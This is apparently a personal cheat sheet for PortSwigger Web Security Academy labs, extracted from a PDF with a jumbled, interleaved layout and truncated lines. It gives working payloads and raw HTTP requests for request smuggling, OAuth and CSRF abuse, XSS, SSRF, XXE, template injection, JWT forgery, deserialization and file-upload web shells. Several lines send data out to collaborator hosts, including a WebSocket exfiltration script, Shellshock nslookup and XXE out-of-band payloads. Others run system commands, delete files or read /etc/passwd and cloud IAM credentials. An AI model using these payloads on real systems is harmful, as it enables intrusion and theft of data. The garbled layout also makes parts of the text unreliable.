text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
POST / HTTP/1.1
Host: 0a8f006704404c748172c08f002300c8.web-security-
academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Transfer-Encoding: chunked

POST /post/comment HTTP/1.1


Host: 0a8f006704404c748172c08f002300c8.web-security-
academy.net
Cookie: session=ecGlrpPRPzGF2rXIbPmNr5JQEKJnNDlX
Content-Length: 300
Content-Type: application/x-www-form-urlencoded

csrf=SBD1GC6lAH9SERvVB0tx3vpfSn4CJqWS&postId=6&name
=test&email=a%40b.com&website=https%3A%2F
%2Fwww.test.com&comment=a

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

GET /post?postId=5 HTTP/1.1


User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1
Notes

This is note for this particular test

Wordlist are present in kali

- We noticed the website blocks us after 3 failed


login attempt, but the counter resets once we
login with the right credentials before the limit is
reached i.e 2
- Hence we created two wordlist where we login,
bruteforce 3 passwords, and again login using
pitchfork.
- Make sure the concurrent request is set to 1,
this will make sure we are not blocked.

After entering password the user effectively in a


logged in state
Change the username to victim to generate MFA
code, then bruteforce it

1. Notice which cookie is set, when you click on


`keep me logged in` functionality.

2. Decode the cookie and study how it is


generated & bruteforce it.

1. Steal the victim's cookie through xss, usually


through comment functionality.
2. Once you have the cookie, take it offline and
crack it using JTR or hashcat

1. Request password reset from your account,


once you get the link, delete the token, change
the username to victim's and reset the password
1. Request password reset, check if it supports
`X-Forwarded-Host`, if it does, add your exploit
server URL to it and change the username to
victim's.

2. Once you send it, password reset token will be


generated for the victim and you'll get the token in
your exploit server logs.

3. Replace this token with yours, change the


username and reset password

1. Send the password change request to intruder

2. Change the username to victim's

3. Set payload position at `current_password`


field & bruteforce the password

1. In implicit grant type, once your user gets the


token, check if you can use it to make request for
some other user, by changing the username
If OPEN ID configuration is found & OAuth login is present on the OAUTH host, this might be the answer.https://portswigger.ne
- Login with your account

- Select attach to social media

- Once you login with your social media account,


a request is sent with redirect-uri set to
`oauth_linking` to get the authorization code.

- Once the client application gets the code, it will


then redirect to `oauth_linking` with the
authorization code to link the social media
account with the user account. oauth_linking?
code=<code> ( do not forget to DROP this
request, as we want to make sure the token
remains unused )

- Since there is no state parameter, we can use


this token as a CSRF injection vector, by adding it
to a iframe and sending it to the victim/admin
( comments ) or via EXPLOIT SERVER

<iframe src="https://lab-id/oauth-linking?
code=<code>"></iframe>

- Once the victim/admin opens the comment, the


iframe will be loaded and the token issued for our
social media account will be attached to their
account, meaning next time we do login with
social media, we'll get into their account.

- Craft CSRF like payload for the /auth request,


change the redirect_uri to your attacker server's
IP, where the CSRF payload is present and send
it to victim

- Once the victim clicks on the link, we'll get the


access token, now when the website makes
request to `/callback?code=<code> to
authenticate you, simply replace this code with
the received one
1. We try to change the redirectURI and we get
URI mismatch error.
2. We have a next post functionality which is
vulnerable to open redirect
`https://0a5d002e0375205a80980d0b00a40069.
web-security-academy.net/post/next?
path=https://exploit-
0a8a0073032020f780570cdb0192004d.exploit-
server.net/exploit`
3. We'll use this in our iframe, deliver it, get the
token & login into administrator's account
4. Intercept the reqeust to `/me` and change the
token in Authorization bearer and get the API key

1. Look for different places ( robots.txt or do client


side code review to find any important end-point )

1. Check if any request parameter is used for access control, could be something in cookie or even another parameter in the re

1. Check what all update functionalities are


present in the profile section, for example : if
there's an email update functionality, update your
email & notice the response.

- Do you see any access control related


parameters ?
- Can you submit the request with changed
roleid ?

roleid:"2" -> roleid:"1"

1. Find out the end-point you want to access & try


to access it.
2. If you fail try different headers to overwrite the
URL & bypass it

1. Change request HTTP request method and


access the page
1. If the validation mechanism is case-sensitive,
the website will treate /admin/deleteuser &
ADMIN/DELETEUSER as different end-points
1. Try to look for some parameter that might be
used to identify the user. for example : userID=4,
try to change it to 3,2, or 1.
1. The victim's userID might be exposed in some
other places on the website, like comments, blog
author etc.
2. Study the response & check if it returns the
password or any other crucial element

1. The browser might not validate all the steps in


multi step process, it might assume that the user
will only reach the final page only if it has gone
through the first two.

# Example :
Normal Flow : home -> page1 -> page2 -> page3
Vuln Flow : home -> page1 -> page3

# Example
Req 1 : GET /admin/update?
user=carlos&action=upgrade
Req 2 : GET /admin/update?
user=carlos&confirmed=yes&action=upgrade

As an attacker we can directly make request to


req2 without being an admin

Referer header will be checked for access


control, for example : a request made to
`/admin/deleteUser` will expect the referer header
to have `/admin` in it, to make sure it is generated
from admin panel only.
1. Identify which tags are allowed <§>2. Identify what attributes/events are allowed <body%20§§=1>3. You can also try to use p

1. If Payloads like <svg>, <animatetransform>,


<title>, and <image> are allowed

2. Identify what events are allowed


<svg><animatetransform%20§§=1>

Put this into a href ( eg : website URL )


Put this into a href
<script>
var stores =
["London","Paris","Milan"];
var store = (new
URLSearchParams(window.location.search)).get('
storeId');
document.write('<select
name="storeId">');
if(store) {
document.write('<option
selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i+
+) {
if(stores[i] === store) {
continue;
}

document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>

1. Find vulnerable functionality


2. Inject the payload ( comment )
3. Wait for the cookie to come

You can use burp collaborator or exploit server if


available

1. Find vulnerable functionality


2. Inject the payload ( comment )
3. Wait for the cookie to come

You can use burp collaborator or exploit server if


available
1. Find vulnerable functionality
2. Inject the payload ( comment )
3. Wait for the cookie to come

You can use burp collaborator or exploit server if


available

( the payload changes email )

1. Capture the target request in burp


2. Use burp engagement tools to make PoC or
you can also write your own.

Change the request method from GET to POST

No token, no problem
Take your CSRF token, put it in

If the attacker can find a way to set cookies, then


he can set his own cookies and CSRF token to
the payload and send it to the victim.

# For example : When the search terms gets


reflected in cookies
/?search=test%0d%0aSet-Cookie:
%20csrfKey=YOUR-KEY%3b
%20SameSite=None

/?search=test
Set-Cookie: csrfKey=YOUR-KEY;
SameSite=None

# Another way, not sure if it works


<script>document.cookie="csrfKey=value"</
script>
1. Same as before, but we'll inject CSRF cookie
with our custom fake CSRF token

/?search=test%0d%0aSet-Cookie:%20csrf=fake
%3b%20SameSite=None

Add the following header to `head` section


Referrer-Policy: unsafe-url

Also add the LAB ID to pushState as the third


parameter
Add

<meta name="referrer" content="no-referrer">

1. We notice that cookies are not included in our


request, this is due to sameSite attribute set to
`lax` by the browser
2. Then we try to use `GET` method, but the
browser doesn't allow us to use that, hence we try
the method override method.
3. We basically send GET request with params as
`email` & `_method` set to POST
1. Here we find the same site cookie attribute set
to cookie, meaning we need some vuln on the
mail domain or the sub-domain.
2. Then we find a file or a keyword with
`redirectOnConfirmation` or
`commentConfirmationRedirect.js`, where we can
inject the email change request as
`/post/comment/confirmation?postId=../my-
account/change-email?email=anything
%40anything.com%26submit=1`
3. So we construct the attack and since the
domain is same domain, we get the cookie in our
CSRF attack.

1. Append `origin` header to your request and see


what is reflected in ACAO header.
2. If your input in origin header is reflected,
means it is vulnerable and we can proceed.
3. Use the exploit server to get the API key /
Account Details

1. Append `origin` header to your request with


value `null` and see what is reflected in ACAO
header.
2. If reflected, it is vulnerable, use the exploit
server to do the rest
In this case the CORS only allows the website's
subdomain to make CORS request, hence we'll
use it to issue requests by injecting javascript in
the vulnerable parameter.

1. You find a subdomain ( eg: stock ) to be


vulnerable to XSS
2. Since the CORS only allows request from this
subdomain, you can use it to inject XSS and
issue CORS requests.
3. Paste the payload in your exploit server and
deliver it

1. Find the page where X-Frame-Options is


missing.
2. Craft the clickjacking payload
3. Adjust the position so that `test me` falls
directly above the button you want to get clicked
4. Eventually reduce the opacity to ` 0.0001` to
hide the iframe
5. Change the `test me` string to `click me`

Here you can specify the input in the URL, for


example if the my account page is at `/my-
account?id=wiener` you can enter the value for
email input as `/my-account?
id=wiener&email=a@b.com`

Change the `test me` string to `click me`


The name parameter is vulnerable to XSS, we
launch the clickjacking attack that executes XSS
through name parameter and rest is same
( changing the email )

Change the `test me` string to `click me`

In this case, the vicitm first clicks on the button to


submit the changed email and the second click is
to confirm the email change action.

Change the `test me` string to `click me`

There is client side encoding implemented, simply


intercept the request in burp, change it back to
original payload and boom
Here the website doesn't use CSRF tokens in it's
websocket interaction, as a result we can use the
script to host it on our exploit server, deliver it to
victim, once the victim clicks, a websocket
connection will be initiated and all the data from
there will be exfiltrated to our collaborator.

CSRF token not present & cookie based session


handling

1. Blacklisted when XSS input detected


2. Bypass it using `X-Forwarded-For` header
3. Send the websocket request ( from the
websocket tab to repeater )

1. Search for `X-Cache` header in proxy


2. Once found, run param-miner for guessing
headers
3. Use the header to inject things and see where
are they reflected
4. Get it cached ( X-Cache : hit -> X-Cache : miss
)

X-Forwarded-Proto
1. `vary` header is used to make unkeyed
elements a keyed element.
2. Use XSS to find the User-Agent of the victim
3. Use that User-Agent from logs in your request
& get it cached

1. Use `Pragma: x-get-cache-key` to see what


does the cache key look like
2. Here the query string is an unkeyed element,
meaning no matter what query string does a
user's request contain, it'll always get the cached
one.
3. Hence we get our thing cached, once the victim
visits any page on the site, we get the cookie.

Admin interface only available to local users

1. Injected in the home page


2. Created `/resources/js/tracking.js` on exploit
server
3. Poisioned the cache through second host
header

Access the admin interface to delete user carlos,


the intranet IP range is given as 192.168.0.0/24

Access the admin interface to delete user carlos,


the intranet IP range is given as 192.168.0.0/24

1. Add initial request to repeater and change


`Connection` to `keep-alive` ( only the last
request will have connection closed )
2. Add the same request to repeater again under
same tab-group, but now change the host to
192.168.0.1 and requesting path to `/admin`.
3. In tab group setting change it to `single
connection`
1. Request password for different user
2. Change the host header to that of exploit
server
3. Asses the exploit server logs for captured
token

Here we try to overwrite the host header using


other headers.

Quotes are important

In the proxy history, study the response to the


GET /email request. Observe that the HTML
content for your email is written to a string, but
this is being sanitized using the DOMPurify library
before it is rendered by the browser.

The signature is not validated at all, just change


the required value and hit go !

The web application validates signatures, but


does not whitelist signatures, as a result the
attacker can change value to `none`, meaning no
signature, hence no validation

If a weak secret key is used, it can be brute


forced using the issued token and a wordlist of
well known secret keys.
1. Generate new pair of RSA keys using
extension
2. Send the request to repeater and make
changes to the token
3. Now choose atttack > embedd JWK and send
the request

1. Copy the JWK as public key and host it on the


exploit server in the shown format.
2. Modify the JWT token, change the kid value to
the one you uploaded on your server, as well as
add the jku header
3. Sign the JWT token using the generated keys
and send it in

1. Generate new symmetric RSA key, click


generate
2. Replace the "k" value with ==AA ( black
space )
3. Make changes to the payload : kid & whatever
value
4. Sign it

Take care of spacing after `0`, it is required.


`\r\n\r\n` following the final 0

Here, the admin panel is only allowed access


from localhost, we were able to smuggle our
request, but were getting error, duplicate headers,
due to `host` header being present twice, so we
appended x= to the second request's body, this
basically means when the first /admin reques is
issues the x= will be left unused and the
subsequent request will become part of x=, and
when we issue the admin request again, this time
we will get access to the admin panel.
- In this lab we are on the same network as admin
- we can only access the admin page from
address 127.0.0.1
- The lab also has a search function, where
whatever we search is reflected in the response,
this means, if we can smuggle a request and get
the next request as search param value, then we
can basically see the admin's request and see if
we can find anything.
-> Capturing other user's request in comment
functionality
-> Send the request, wait for 10 seconds & reload
the page
-> Depending upon how much data you've got
change the content-length

{ If you are not getting a response back, this


probably means, the content length is more,
reduce it }

In lab the length we got was 950


Request 1 : Registering Client Application Request 2 : Change the client ID with the one
received in response
POST /reg HTTP/2
Host: oauth-0aaa006a033534708255dbfe0230008b.oauth-
server.net GET /client/AnYuv47ARWOvh886310_z/logo
Cookie: _session=J82AfRm26PDavf54GTF0V; HTTP/2
_session.legacy=J82AfRm26PDavf54GTF0V Host: oauth-
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" 0aaa006a033534708255dbfe0230008b.oauth-
Sec-Ch-Ua-Mobile: ?0 server.net
Sec-Ch-Ua-Platform: "Windows" Cookie: _session=J82AfRm26PDavf54GTF0V;
Upgrade-Insecure-Requests: 1 _session.legacy=J82AfRm26PDavf54GTF0V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Sec-Ch-Ua: "Not(A:Brand";v="24",
AppleWebKit/537.36 (KHTML, like Gecko) "Chromium";v="122"
Chrome/122.0.6261.112 Safari/537.36 Sec-Ch-Ua-Mobile: ?0
Accept: Sec-Ch-Ua-Platform: "Windows"
text/html,application/xhtml+xml,application/xml;q=0.9,image/ Upgrade-Insecure-Requests: 1
avif,image/webp,image/apng,*/*;q=0.8,application/signed- User-Agent: Mozilla/5.0 (Windows NT 10.0;
exchange;v=b3;q=0.7 Win64; x64) AppleWebKit/537.36 (KHTML,
Sec-Fetch-Site: none like Gecko) Chrome/122.0.6261.112
Sec-Fetch-Mode: navigate Safari/537.36
Sec-Fetch-User: ?1 Accept:
Sec-Fetch-Dest: document text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate, br ;q=0.9,image/avif,image/webp,image/apng,*/
Accept-Language: en-US,en;q=0.9 *;q=0.8,application/signed-
Priority: u=0, i exchange;v=b3;q=0.7
Content-Type: application/json Sec-Fetch-Site: none
Content-Length: 156 Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
{ Sec-Fetch-Dest: document
"redirect_uris" : [ Accept-Encoding: gzip, deflate, br
"https://example.com" Accept-Language: en-US,en;q=0.9
], Priority: u=0, i
"logo_uri" :
"http://169.254.169.254/latest/meta-data/iam/security-
credentials/admin/"
}
COPY URL & DROP

GET /oauth-linking?
code=gF3JqG69oIp7MLD622S5uDnWqFlHa1ydShJsiqgh2Iy
HTTP/2
Host: 0a7000bf04563a1c82d5881000ae007c.web-security-
academy.net
Cookie: session=udMr3rO72dqtLQVdTbU4bVdyFmcA0T7M
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site Host: oauth-0aaa006a033534708255dbfe0230008b.oauth-server
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://oauth-
0a6800b804d73a6e82f386d60291005d.oauth-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

EXPLOIT SERVER

<iframe src="https://oauth-
0a9900740305464781430fa5027a0066.oauth-server.net/
auth?
client_id=zgpyqu5w9sjvtf159a084&redirect_uri=https://
exploit-0ae000cf032d46538174106101b30048.exploit-
server.net/exploit&response_type=code&scope=openid
%20profile%20email"></iframe>
<script>
if (!document.location.hash) {
window.location = 'https://oauth-
0a2b00b303ea208880560bfa02d100ff.oauth-server.net/auth
?client_id=mtyttcqiktkjol7896w7l&redirect_uri=https://
0a5d002e0375205a80980d0b00a40069.web-security-
academy.net/oauth-callback/../post/next?path=https://
exploit-0a8a0073032020f780570cdb0192004d.exploit-
server.net/exploit/
&response_type=token&nonce=399721827&scope=openid
%20profile%20email'
} else {
window.location =
'/?'+document.location.hash.substr(1)
}
</script>

Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
<script>
websocket = new WebSocket('wss://0a5600690383c42684d69a5a0074004c.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://sb7h9c1ohco50t1svkgpoq9hs8yzmqce1.oastify.com/?'+event.data, {mode: 'no-cors'})
}
</script>

GET /resources/js/tracking.js HTTP/2


Host: 0a6800be04fb580781fe0270008d0065.web-security-
academy.net
X-Forwarded-Scheme: nohttps
X-Forwarded-Host: exploit-
0aae008e04945852817001e40103009d.exploit-server.net
GET /?search='/><script>alert('xss');</script> HTTP/2
Host: 0ad0001603ea443481672ac600a300b1.web-security-
academy.net
Origin:

GET /js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback
=alert(1) HTTP/2
Host: 0a790093042a483781b6a7ae001a00ee.web-security-
academy.net
Cookie: country=[object Object];
session=bG2PChcY1s7FELRxWBu8ZYFzpF55ejp4

X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:

1. Try two different host headers


2. Try absolute URL & host header with evil
3. Try different http headers to overwrite the host header
4. Try <tab> with two host headers
5. Try routing based SSRF : 192.168.0.§0§
6. Try absolute URL
{
"jku": "https://exploit-
0aee00860488db91816c4ce6015b0094.exploit-server.net/
exploit.json",
"kid": "7bace579-8808-4f3e-b0e8-9b2ad50b0de3",
"alg": "RS256"
}

# CL.TE
0

GET /404 HTTP/1.1


x-ignore: x

# TE.CL
converter : https://coolconversion.com/math/binary-octal-hexa-dec
5e #length of the data including 0
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
Admin interface only available if logged in as an
administrator, or if requested from 127.0.0.1
Vulnerability Test Case
Directory Traversal Absolute Path

- FileName Nested / Stripped Sequences

URL Encoding

Current Working Directory Path


Null Byte if file extension validation is present

SSRF Loopback Interface

- StockAPI
- Referer Header
- Next Product (OpenRedirect) Bypassing Blacklist
- On host header you get, CLIENT
ERROR Forbidden

Try URL Encoding


Bypassing Whitelist

Bypassing Through Open Redirection

Flawed Request Parsing

SSRF via Referer Header

SSRF Shellshock

No space between User-Agent & payload

User-Agent:() { :; }; /usr/bin/nslookup $
(whoami).xtulb4ze9r38qbyrzf4h5yhkfbl29xxm.oa
stify.com

File Upload Vulnerabilities File Upload with no validation


- Profile File Upload
Change MIME type
- Comment file upload (stage-3)

Change the file upload directory location

Override Server Configuration File

Bypass Blacklist

Magic Bytes

Race Condition

Upload Client Side JS


Upload using PUT method
OS Command Injection Normal Injection

- Submit Feedback Section


- Comment Param Blind Injection - Time Delays
- Email Param
Redirect response to a file on server
Out of band techniques
Exfiltrate Data

Other Ways

XXE Injection Reading Local Files

- ProductID & storeID


SSRF
- File Upload Comment / Profile
Out Of Band Techiques

Out Of Band Interaction Using Parameter Entities

Blind XXE retrieve data via error messages


XInclude ( where XML is formed on server side )

XXE via File Upload

SSTI ERB Template RUBY

# Indicators

- Unfortunately this product is out of


stock ( on the main page ).
- ?messsage=
- Preferred Name : first, last,
nickname
- Blog edit template
- HTML Injection possible but not
XSS
Tornado Template Python : Escaping Code
Context
Free Marker Java { Manually Find Out }

Handlerbars { Manually Find Out }

Django Template { Manually Find Out }


Insecure Deserialisation Modifying Serialised Objects

- Serialised session cookie


- Base64 decode and identify
- The error you should be looking Modifying Datatypes
for is
java.io.StreamCorruptedException

Deleting File / Reading File of some other user

Arbitrary object injection in PHP

Exploiting Java deserialization with Apache


Commons
Exploiting PHP deserialization with a pre-built
gadget chain

Exploiting Ruby deserialization using a


documented gadget chain

SQL Injection Bolean Based SQL Injection


- TrackingID Cookie : BlindSQL
- Product Category : ? Union Based SQL Injection
category=pets

Union Based SQL Injection : Oracle DB

Union Based SQL Injection : Retrieving Data


From Multiple Columns into one
Blind SQL Using Conditional Response :
Welcome back
Error Based Blind SQL : 500 & 200
Error Based Blind SQL : Verbose Error
Messages : Cast
Blind SQL Using Time Delays
Blind SQL Using Out Of Band Techniques

Blind SQL via XXE


Blind SQL in XML Data & Bypassing Firewall
Payload Notes Observation
?file=/etc/passwd
# Using nested traversal
# Linux : ....//....//....//etc//passwd ->
../../../etc/passwd
# windows : ....\/....\/....\/windows\/win.ini -> ..\..\..\
windows\win.ini
..%2F..%2F..%2Fetc%2Fpasswd
# or double URL encode
..%252F..%252F..%252Fetc%252Fpasswd
/var/www/images/../../../etc/passwd
?file=../../../etc/passwd%00.png

http://127.0.0.1

stockapi=http://127.0.0.1/admin
stockapi=http://127.0.1/admin
stockapi=http://127.1/admin
stockapi=http://localhost/admin
stockapi=http://127.0.0.1:22 #try different port
numbers
# Other things that resolves to 127.0.0.1
2130706433
017700000001
- Register your own domain that resolved to
127.0.0.1 ( burp collaborator can be used )
- Try switching b/w https: http: etc

# Here we have double URL encoded the `a` in


admin
http://127.1/%25%36%31dmin/delete?
username=carlos
https://hostA@hostB -> https://hostB/
https://hostA#hostB -> https://hostA/
https://hostA#@hostB -> https://hostA/
http://
https://hostA@#hostB -> https://hostA/
127.0.0.1:80#@stock.weliketo
shop.net/admin
https://expected-host:fakepassword@evil-host
-> The inspecting thing sees @
https://evil-host#expected-host
which resolves to
https://expected-host.evil-host
stock.weliketoshop.net
-> But due to # being present,
# Check if parsing
the rest host is ignored and we
http://127.0.0.1@stock.weliketoshop.net:8080 ->
get access to admin panel
result -> http://stock.weliketoshop.net:8080
-> Don't forget to encode #
multiple times (3x)
#@ -> localhost
http://
http://
localhost:80%2523@stock.weliketoshop.net/
localhost:80%2523@stock.weli
admin/delete?username=carlos
ketoshop.net/admin/
#@ -> 127.0.0.1
http://127.0.0.1%2523@stock.weliketoshop.net/
admin/delete?username=carlos

Will only work if open-redirect


<Refer-to-notes>
is present

GET https://0ac500cf03eea421810858d600720083.web-security-academy.net/ HTTP/2Host: dr8j973qgg8nto7gd8asliv0vr1ipm

-> Download Collaborator


Everywhere
-> Add lab domain to target
scope
-> Browse the site and send
the product page req to
intruder ( identified by
collaborator everywhere )
() { :; }; echo "hello world" -> Add the shellshock payload
() { :; }; /usr/bin/nslookup $(whoami).BURP- in User-Agent String
COLLABORATOR-SUBDOMAIN -> Send to intruder & add
payload to referer that is
http://192.168.0.<p>:8080
-> Bruteforce for the IP range
and on the right one, you will
get a callback
-> In the collaborator you will
see the output in dns request
`peter-asd13r`

<?php echo
Create shell.php & upload it
file_get_contents('/home/carlos/secret'); ?>
# Change to
Upload the shell as is, just
image/jpeg
change the content type
image/png
If uploaded, but not executed,
change the directory, the file is
uploaded to

- /files/avatar/1.php to
/files/2.php

# .htaccess
AddHandler application/x-httpd-
php .php .php5 .html .htm
Override `.htaccess` or
# web.config
`web.config` file
<staticContent>
<mimeMap fileExtension=".json"
mimeType="application/json" />
</staticContent>

.php5
.shtml
- Case-sensitive Validation : changing `.php` to
`.pHp`
- Provide multiple extensions `exploit.php.jpg`
- Add trailing characters `exploit.php.`
- Try URL encoding `exploit%2fphp`
- Null Byte `exploit.asp;.jpg` or `exploit.asp
%00.jpg`
- If non recursive validation is there, then try
`exploit.p.phphp` -> `exploit.php`

GIF87a
GIF89a

Send two request to repeater


1. When file is uploaded
2. When file is accessed

In lab, the file is uploaded on


the server for a short period of
time, scanned and then
- Send both request `req-to-upload` & `req-to-
removed if malicious nature
access` to the repeater, an add them to same tab
detected. The small timeframe
group, and run the attacks as `
between upload and removal,
we can get the contents of the
file.

Upload the file and then


quickly send request to access
the file
# Linux
whoami
uname -a
ifconifg
netstat -an
ps -ef
# Windows
whoami
ver
ipconfig /all
netstat -an
tasklist

& ping -c 10 127.0.0.1 &

& whoami > /var/www/images/out.txt &


& nslookup <collaborator> &
& nslookup `whoami`.<collaborator> &

# Both windows & unix


&
&&
|
||

# Only unix
;
0x0a or \n ( new line character )

# To inject commands
`pwd`
$(pwd)

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"file:///etc/passwd">]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/securi
Getting IAM secret
ty-credentials/admin"> ]>
<stockCheck><productId>&xxe;</
productId><storeId>1</storeId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"http://zadrmxhk4hm6umwbcqzortumjdp4dx1m.oas
Getting out of band interaction
tify.com/"> ]>
<stockCheck><productId>&xxe;</
productId><storeId>1</storeId></stockCheck>

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE stockCheck [<!ENTITY % xxe
SYSTEM
"http://96d1i7du0rigqwsl80vyn3qwfnle98xx.oastify. Using parameter entities
com"> %xxe; ]>
<stockCheck><productId>1</
productId><storeId>1</storeId></stockCheck>

# DTD
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
'http://vpon1twgjd129ib7rmek6p9iy940swgl.oastify.
com/?x=%file;'>">
%eval;
%exfil;

# Request Body
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-
0a2d00b5048796ef82fced7301af009a.exploit-
server.net/exploit"> %xxe;]>
<stockCheck>
<productId>1</productId><storeId>1</storeId></
stockCheck>

# DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
'file:///invalid/%file;'>">
%eval;
%exfil;

# Request Body
<?xml version="1.0" encoding="UTF-8" Changed content type to XML
standalone="no"?> and then exploited it.
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-
0a7900b904d986098006d9c301d9009d.exploit-
server.net/exploit.dtd"> %xxe;]>
<root>
<productId>1</productId>
<storeId>3</storeId>
</root>
productId=<foo+xmlns%3axi%3d"http%3a//
www.w3.org/2001/XInclude"><xi%3ainclude+parse
%3d"text"+href%3d"file%3a///etc/passwd"/></
foo>&storeId=1

<?xml version="1.0" standalone="yes"?><!


DOCTYPE test [ <!ENTITY xxe SYSTEM
"file:///etc/hostname" > ]><svg width="128px"
height="128px" Create SVG image with the
xmlns="http://www.w3.org/2000/svg" payload and uploadd
xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.1"><text font-size="16" x="0"
y="16">&xxe;</text></svg>

The website sends request for


a product and on error
redirects the user to page
saying `Unfortunately this
# Detection<%= 7*7 %># Exploitation<%= system("whoami") %># Exfiltrating Data<%= system("curl -F file=@morale.txt https:/
product is out of stock` with
this message in the ?message
parameter, that's where we
inject.

The injection is injected into a


code context & in order to
# Detection{{7*7}}# Code Contextuser.name}}{{7*7}}# Exploitation{% import os %}{{os.system('rm /home/carlos/morale.txt')user
escape it, you need to close
the context.
# Detectionhttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/READ
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%

{{#with "s" as |string|}}


{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return
require('child_process').exec('rm morale.txt');"}}
{{this.pop}}
{{#each conslist}} https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

# URL Encoded : CyberChef


& send

# Detection
{{ 7*7 }} : gives error with django templates
ih0vr{{364|add:733}}d121r -> ih0vr1097d121r

# Exploitation
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%
{% debug %} # find the object `settings`, look it up
online, you'll find an attribute SECRET_KEY

{{settings.SECRET_KEY}} # asking object settings


for attribute SECRET_KEY
# Original
O:4:"User":2:
{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
Getting Access to admin panel
by changing the username
# Tampered
O:4:"User":2:
{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

# Original
O:4:"User":2: Getting access to admin
{s:8:"username";s:6:"wiener";s:12:"access_token";s account, by exploiting how php
:32:"c0fpqkjg667odl5i52g20g9r9714lnns";} treats JS, 'adasdasda'=='0' will
be true, as php will convert the
# Tampered string in number and if the first
O:4:"User":2: character is a number, it'll be
{s:8:"username";s:13:"administrator";s:12:"access_ true, otherwise false
token";i:0;}

# Original
O:4:"User":3:
{s:8:"username";s:6:"wiener";s:12:"access_token";s
:32:"ynuxehl8lrouh4fxaxri1bsylz8047gs";s:11:"avat
ar_link";s:19:"users/wiener/avatar";}
Deleting or accessing carlos's
file
# Tampered
O:4:"User":3:
{s:8:"username";s:6:"wiener";s:12:"access_token";s
:32:"ynuxehl8lrouh4fxaxri1bsylz8047gs";s:11:"avat
ar_link";s:23:"/home/carlos/morale.txt";}

Deleting or accessing carlos's


file

O:14:"CustomTemplate":1: - View source, you might find a


{s:14:"lock_file_path";s:23:"/home/carlos/ php file
morale.txt";} - We use the class exposed in
the php file and use it's
constructor method to delte the
file

- Indication `ac ed` or `rO0`


java -jar ysoserial-all.jar CommonsCollections4
present in the beginning of
